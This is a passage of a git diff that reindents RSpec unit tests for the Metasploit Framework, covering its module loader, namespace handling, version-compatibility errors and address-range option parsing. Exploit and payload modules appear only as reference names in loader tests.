"path/to/unit_test#{unit_test_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a test suite' do + test_suite_extension = '.rb.ts.rb' + path = "path/to/test_suite#{test_suite_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return true otherwise' do + subject.send(:module_path?, module_path).should be_true + end + end + + context '#module_reference_name_from_path' do + it 'should strip MODULE_EXTENSION from the end of the path' do + path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" + path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" + + subject.send(:module_reference_name_from_path, path).should == path_without_extension + end + end + + context '#namespace_module_name' do + it 'should prefix the name with Msf::Modules::' do + subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') + end + + it 'should prefix the relative name with Mod' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + relative_name = namespace_module_name.gsub(/^.*::/, '') + + relative_name.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_names' do + it "should prefix the array with ['Msf', 'Modules']" do + subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) + end + + it 'should prefix the relative name with Mod' do + namespace_module_names = subject.send(:namespace_module_names, module_full_name) + + namespace_module_names.last.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_names = subject.send(:namespace_module_names, module_full_name) + relative_name = namespace_module_names.last + unpacked_name = relative_name.gsub(/^Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_transaction' do + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + context 'with pre-existing namespace module' do + before(:each) do + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 + + end + end + end + end + + @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + end + + context 'with :reload => false' do + it 'should log an error' do + subject.should_receive(:elog).with(/Reloading.*when :reload => false/) + + subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| + true + end + end + end + + it 'should remove the pre-existing namespace module' do + Msf::Modules.should_receive(:remove_const).with(relative_name) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + end + + it 'should create a new namespace module for the block' do + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + namespace_module.should_not == @existent_namespace_module + + expect { + namespace_module::Metasploit3 + }.to raise_error(NameError) + + true + end + end + + context 'with an Exception from the block' do + let(:error_class) do + NameError + end + + let(:error_message) do + "SayMyName" + end + + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + raise error_class, error_message + end + rescue error_class => error + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + false + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should_not be_nil + current_constant.should_not == @existent_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + + context 'without pre-existing namespace module' do + before(:each) do + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.send(:remove_const, relative_name) + end + end + + it 'should create a new namespace module' do + expect { + Msf::Modules.const_get(relative_name) + }.to raise_error(NameError) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_get(relative_name).should == namespace_module + end + end + + context 'with an Exception from the block' do + let(:error_class) do + Exception + end + + let(:error_message) do + 'Error Message' + end + + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Module.const_defined?(relative_name).should be_true + + raise error_class, error_message + end + rescue error_class + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + false + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the non-existent previous namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + created_namespace_module = nil + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + created_namespace_module = namespace_module + + true + end + + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == created_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + end + + context '#read_module_content' do + it 'should be abstract' do + type = Msf::MODULE_AUX + + expect { + subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#restore_namespace_module' do + let(:parent_module) do + Msf::Modules + end + + let(:relative_name) do + 'Mod0' + end + + it 'should do nothing if parent_module is nil' do + parent_module = nil + + # can check that NoMethodError is not raised because *const* methods are + # not defined on `nil`. + expect { + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + }.to_not raise_error + end + + context 'with namespace_module nil' do + let(:namespace_module) do + nil + end + + it 'should remove relative_name' do + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) + end + + it 'should not set the relative_name constant to anything' do + parent_module.should_not_receive(:const_set) + + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) + end + end + + context 'with parent_module and namespace_module' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit3 + + end + end + end + end + + @original_namespace_module = Msf::Modules::Mod0 + + Msf::Modules.send(:remove_const, relative_name) + end + + context 'with relative_name being a defined constant' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit2 + + end + end + end + end + + @current_namespace_module = Msf::Modules::Mod0 + end + + context 'with the current constant being the namespace_module' do + it 'should not change the constant' do + parent_module.const_defined?(relative_name).should be_true + + current_module = parent_module.const_get(relative_name) + current_module.should == @current_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + restored_module = parent_module.const_get(relative_name) + restored_module.should == current_module + restored_module.should == @current_namespace_module + end + + it 'should not remove the constant and then set it' do + parent_module.should_not_receive(:remove_const).with(relative_name) + parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + end + end + + context 'without the current constant being the namespace_module' do + it 'should remove relative_name from parent_module' do + parent_module.const_defined?(relative_name).should be_true + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + end + + it 'should restore the module to the constant' do + parent_module.const_get(relative_name).should_not == @original_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + + context 'without relative_name being a defined constant' do + it 'should set relative_name on parent_module to namespace_module' do + parent_module.const_defined?(relative_name).should be_false + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + end + + context '#typed_path' do + it 'should delegate to the class method' do + type = Msf::MODULE_EXPLOIT + + described_class.should_receive(:typed_path).with(type, module_reference_name) + subject.send(:typed_path, type, module_reference_name) + end + end + + context '#usable?' do + context 'without metasploit_class responding to is_usable' do + it 'should return true' do + metasploit_class = double('Metasploit Class') + metasploit_class.should_not respond_to(:is_usable) + + subject.send(:usable?, metasploit_class).should be_true + end + end + + context 'with metasploit_class responding to is_usable' do + it 'should delegate to metasploit_class.is_usable' do + # not a proper return, but guarantees that delegation is actually happening + usability = 'maybe' + metasploit_class = double('Metasploit Class', :is_usable => usability) + + subject.send(:usable?, metasploit_class).should == usability + end + + context 'with error from metasploit_class.is_usable' do + let(:error) do + 'Expected error' + end + + let(:metasploit_class) do + metasploit_class = double('Metasploit Class') + + metasploit_class.stub(:is_usable).and_raise(error) + + metasploit_class + end + + it 'should log error' do + subject.should_receive(:elog).with(/#{error}/) + + subject.send(:usable?, metasploit_class) + end + + it 'should return false' do + subject.send(:usable?, metasploit_class).should be_false + end + end + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index eb967951ac..bb2762782a 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -6,159 +6,159 @@ require 'msf/core/modules/loader/directory' require 'msf/core' describe Msf::Modules::Loader::Directory do - context 'instance methods' do - include_context 'Msf::Modules::Loader::Base' + context 'instance methods' do + include_context 'Msf::Modules::Loader::Base' - let(:module_manager) do - double('Module Manager') - end + let(:module_manager) do + double('Module Manager') + end - let(:module_path) do - "#{parent_path}/exploits/#{module_reference_name}.rb" - end + let(:module_path) do + "#{parent_path}/exploits/#{module_reference_name}.rb" + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - subject do - described_class.new(module_manager) - end + subject do + described_class.new(module_manager) + end - context '#load_module' do - context 'with existent module_path' do - let(:framework) do - framework = double('Msf::Framework', :datastore => {}) + context '#load_module' do + context 'with existent module_path' do + let(:framework) do + framework = double('Msf::Framework', :datastore => {}) - events = double('Events') - events.stub(:on_module_load) - events.stub(:on_module_created) - framework.stub(:events => events) + events = double('Events') + events.stub(:on_module_load) + events.stub(:on_module_created) + framework.stub(:events => events) - framework - end + framework + end - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end - let(:module_manager) do - Msf::ModuleManager.new(framework) - end + let(:module_manager) do + Msf::ModuleManager.new(framework) + end - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end - it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true + it 'should load a module that can be created' do + subject.load_module(parent_path, type, module_reference_name).should be_true - created_module = module_manager.create(module_full_name) + created_module = module_manager.create(module_full_name) - created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' - end + created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' + end - context 'with module previously loaded' do - before(:each) do - subject.load_module(parent_path, type, module_reference_name) - end + context 'with module previously loaded' do + before(:each) do + subject.load_module(parent_path, type, module_reference_name) + end - # Payloads are defined as ruby Modules so they can behave differently - context 'with payload' do - let(:reference_name) do - 'stages/windows/x64/vncinject' - end + # Payloads are defined as ruby Modules so they can behave differently + context 'with payload' do + let(:reference_name) do + 'stages/windows/x64/vncinject' + end - let(:type) do - 'payload' - end + let(:type) do + 'payload' + end - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end - # Non-payloads are defined as ruby Classes - context 'without payload' do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end + # Non-payloads are defined as ruby Classes + context 'without payload' do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - end + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + end - context 'without existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end + context 'without existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end - let(:error) do - Errno::ENOENT.new(module_path) - end + let(:error) do + Errno::ENOENT.new(module_path) + end - before(:each) do - module_manager.stub(:file_changed? => true) - module_manager.stub(:module_load_error_by_path => {}) - end + before(:each) do + module_manager.stub(:file_changed? => true) + module_manager.stub(:module_load_error_by_path => {}) + end - it 'should not raise an error' do - File.exist?(module_path).should be_false + it 'should not raise an error' do + File.exist?(module_path).should be_false - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to_not raise_error - end + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to_not raise_error + end - it 'should return false' do - File.exist?(module_path).should be_false + it 'should return false' do + File.exist?(module_path).should be_false - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end - context '#read_module_content' do - context 'with non-existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end + context '#read_module_content' do + context 'with non-existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end - before(:each) do - subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) - end + before(:each) do + subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) + end - # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test - it 'should attempt to open the expected module_path' do - File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false + # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test + it 'should attempt to open the expected module_path' do + File.should_receive(:open).with(module_path, 'rb') + File.exist?(module_path).should be_false - subject.send(:read_module_content, parent_path, type, module_reference_name) - end + subject.send(:read_module_content, parent_path, type, module_reference_name) + end - it 'should not raise an error' do - expect { - subject.send(:read_module_content, parent_path, type, module_reference_name) - }.to_not raise_error - end + it 'should not raise an error' do + expect { + subject.send(:read_module_content, parent_path, type, module_reference_name) + }.to_not raise_error + end - it 'should return an empty string' do - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end + it 'should return an empty string' do + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end - end - end - end + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb index 01f1b14409..f3ebffdcaf 100644 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' require 'msf/core/modules/metasploit_class_compatibility_error' describe Msf::Modules::MetasploitClassCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' + it_should_behave_like 'Msf::Modules::Error subclass #initialize' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 96eaf44a86..d0bd0843c7 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -5,264 +5,264 @@ require 'msf/core' require 'msf/core/modules/namespace' describe Msf::Modules::Namespace do - let(:module_path) do - "parent/path/type_directory/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type_directory/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end - subject do - mod = Module.new - mod.extend described_class + subject do + mod = Module.new + mod.extend described_class - mod - end + mod + end - context 'metasploit_class' do - before(:each) do - if major - subject.const_set("Metasploit#{major}", Class.new) - end - end + context 'metasploit_class' do + before(:each) do + if major + subject.const_set("Metasploit#{major}", Class.new) + end + end - context 'without Metasploit constant defined' do - let(:major) do - nil - end + context 'without Metasploit constant defined' do + let(:major) do + nil + end it 'should not be defined' do - metasploit_constants = subject.constants.select { |constant| - constant.to_s =~ /Metasploit/ - } + metasploit_constants = subject.constants.select { |constant| + constant.to_s =~ /Metasploit/ + } - metasploit_constants.should be_empty + metasploit_constants.should be_empty end - end + end - context 'with Metasploit1 constant defined' do - let(:major) do - 1 - end + context 'with Metasploit1 constant defined' do + let(:major) do + 1 + end - it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit1').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit2 constant defined' do - let(:major) do - 2 - end + context 'with Metasploit2 constant defined' do + let(:major) do + 2 + end - it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit2').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit3 constant defined' do - let(:major) do - 3 - end + context 'with Metasploit3 constant defined' do + let(:major) do + 3 + end - it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit3').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit4 constant defined' do - let(:major) do - 4 - end + context 'with Metasploit4 constant defined' do + let(:major) do + 4 + end - it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit4').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit5 constant defined' do - let(:major) do - 5 - end + context 'with Metasploit5 constant defined' do + let(:major) do + 5 + end - it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit5').should be_true + end - it 'should be newer than Msf::Framework::Major' do - major.should > Msf::Framework::Major - end + it 'should be newer than Msf::Framework::Major' do + major.should > Msf::Framework::Major + end - it 'should return nil' do - subject.metasploit_class.should be_nil - end - end - end + it 'should return nil' do + subject.metasploit_class.should be_nil + end + end + end - context 'metasploit_class!' do - it 'should call metasploit_class' do - subject.should_receive(:metasploit_class).and_return(Class.new) + context 'metasploit_class!' do + it 'should call metasploit_class' do + subject.should_receive(:metasploit_class).and_return(Class.new) - subject.metasploit_class!(module_path, module_reference_name) - end + subject.metasploit_class!(module_path, module_reference_name) + end - context 'with metasploit_class' do - let(:metasploit_class) do - Class.new - end + context 'with metasploit_class' do + let(:metasploit_class) do + Class.new + end - before(:each) do - subject.stub(:metasploit_class => metasploit_class) - end + before(:each) do + subject.stub(:metasploit_class => metasploit_class) + end - it 'should return the metasploit_class' do - subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class - end - end + it 'should return the metasploit_class' do + subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class + end + end - context 'without metasploit_class' do - before(:each) do - subject.stub(:metasploit_class => nil) - end + context 'without metasploit_class' do + before(:each) do + subject.stub(:metasploit_class => nil) + end - it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do - expect { - subject.metasploit_class!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) - end + it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do + expect { + subject.metasploit_class!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) + end - context 'the Msf::Modules::MetasploitClassCompatibilityError' do - it 'should include the module path' do - error = nil + context 'the Msf::Modules::MetasploitClassCompatibilityError' do + it 'should include the module path' do + error = nil - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end - error.should_not be_nil - error.to_s.should include(module_path) - end + error.should_not be_nil + error.to_s.should include(module_path) + end - it 'should include the module reference name' do - error = nil + it 'should include the module reference name' do + error = nil - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end - error.should_not be_nil - error.to_s.should include(module_reference_name) - end - end - end - end + error.should_not be_nil + error.to_s.should include(module_reference_name) + end + end + end + end - context 'version_compatible!' do - context 'without RequiredVersions' do - it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false - end + context 'version_compatible!' do + context 'without RequiredVersions' do + it 'should not be defined' do + subject.const_defined?('RequiredVersions').should be_false + end - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end - context 'with RequiredVersions defined' do - let(:minimum_api_version) do - 1 - end + context 'with RequiredVersions defined' do + let(:minimum_api_version) do + 1 + end - let(:minimum_core_version) do - 1 - end + let(:minimum_core_version) do + 1 + end - before(:each) do - subject.const_set( - :RequiredVersions, - [ - minimum_core_version, - minimum_api_version - ] - ) - end + before(:each) do + subject.const_set( + :RequiredVersions, + [ + minimum_core_version, + minimum_api_version + ] + ) + end - context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore - end + context 'with minimum Core version' do + it 'should be <= Msf::Framework::VersionCore' do + minimum_core_version.should <= Msf::Framework::VersionCore + end - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end - context 'with minimum API version' do - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - end + context 'with minimum API version' do + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end + end - context 'without minimum Core version' do - let(:minimum_core_version) do - 5 - end + context 'without minimum Core version' do + let(:minimum_core_version) do + 5 + end - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore - end + it 'should be > Msf::Framework::VersionCore' do + minimum_core_version.should > Msf::Framework::VersionCore + end - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end - context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI - end + context 'with minimum API version' do + it 'should be <= Msf::Framework::VersionAPI' do + minimum_api_version <= Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - end - end - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 8dc8ca3333..e967e02f2c 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -2,62 +2,62 @@ require 'spec_helper' describe Msf::Modules::VersionCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' do - let(:minimum_api_version) do - 1 - end + it_should_behave_like 'Msf::Modules::Error subclass #initialize' do + let(:minimum_api_version) do + 1 + end - let(:minimum_core_version) do - 2 - end + let(:minimum_core_version) do + 2 + end - it 'should say cause was version check' do - subject.to_s.should match(/due to version check/) - end + it 'should say cause was version check' do + subject.to_s.should match(/due to version check/) + end - context 'with :minimum_api_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version - ) - end + context 'with :minimum_api_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version + ) + end - it 'should set minimum_api_version' do - subject.minimum_api_version.should == minimum_api_version - end + it 'should set minimum_api_version' do + subject.minimum_api_version.should == minimum_api_version + end - it 'should include minimum_api_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) - end - end + it 'should include minimum_api_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) + end + end - context 'with :minimum_api_version and :minimum_core_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end + context 'with :minimum_api_version and :minimum_core_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version, + :minimum_core_version => minimum_core_version + ) + end - it 'should include minimum_api_version and minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) - end - end + it 'should include minimum_api_version and minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) + end + end - context 'with :minimum_core_version' do - subject do - described_class.new( - :minimum_core_version => minimum_core_version - ) - end + context 'with :minimum_core_version' do + subject do + described_class.new( + :minimum_core_version => minimum_core_version + ) + end - it 'should set minimum_core_version' do - subject.minimum_core_version.should == minimum_core_version - end + it 'should set minimum_core_version' do + subject.minimum_core_version.should == minimum_core_version + end - it 'should include minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) - end - end - end + it 'should include minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) + end + end + end end diff --git a/spec/lib/msf/core/options/opt_address_range_spec.rb b/spec/lib/msf/core/options/opt_address_range_spec.rb index 721dfa0630..c2e10dc642 100644 --- a/spec/lib/msf/core/options/opt_address_range_spec.rb +++ b/spec/lib/msf/core/options/opt_address_range_spec.rb @@ -4,41 +4,41 @@ require 'spec_helper' require 'msf/core/option_container' describe Msf::OptAddressRange do - # Normalized values are just the original value for OptAddressRange - valid_values = [ - { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, - { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, - { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, - { :value => "192.0.2.*", :normalized => "192.0.2.*" }, - { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, + # Normalized values are just the original value for OptAddressRange + valid_values = [ + { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, + { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, + { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, + { :value => "192.0.2.*", :normalized => "192.0.2.*" }, + { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, { :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}, - ] - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - { :value => "192.0.2.0.0,1" }, - { :value => "192.0.2.0.0,1-2" }, - { :value => "192.0.2.0.0/24" }, - # Not enough dots - { :value => "192.0.2" }, - { :value => "192.0.2,1" }, - { :value => "192.0.2,1-2" }, - { :value => "192.0.2/24" }, - # Can't mix ranges and CIDR - { :value => "192.0.2.0,1/24" }, - { :value => "192.0.2.0-1/24" }, - { :value => "192.0.2.0,1-2/24" }, - { :value => "192.0.2.0/1-24" }, - { :value => "192.0.2.0-192.0.2.1-255" }, + ] + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + { :value => "192.0.2.0.0,1" }, + { :value => "192.0.2.0.0,1-2" }, + { :value => "192.0.2.0.0/24" }, + # Not enough dots + { :value => "192.0.2" }, + { :value => "192.0.2,1" }, + { :value => "192.0.2,1-2" }, + { :value => "192.0.2/24" }, + # Can't mix ranges and CIDR + { :value => "192.0.2.0,1/24" }, + { :value => "192.0.2.0-1/24" }, + { :value => "192.0.2.0,1-2/24" }, + { :value => "192.0.2.0/1-24" }, + { :value => "192.0.2.0-192.0.2.1-255" }, # Non-string values { :value => true}, { :value => 5 }, { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'addressrange' + it_behaves_like "an option", valid_values, invalid_values, 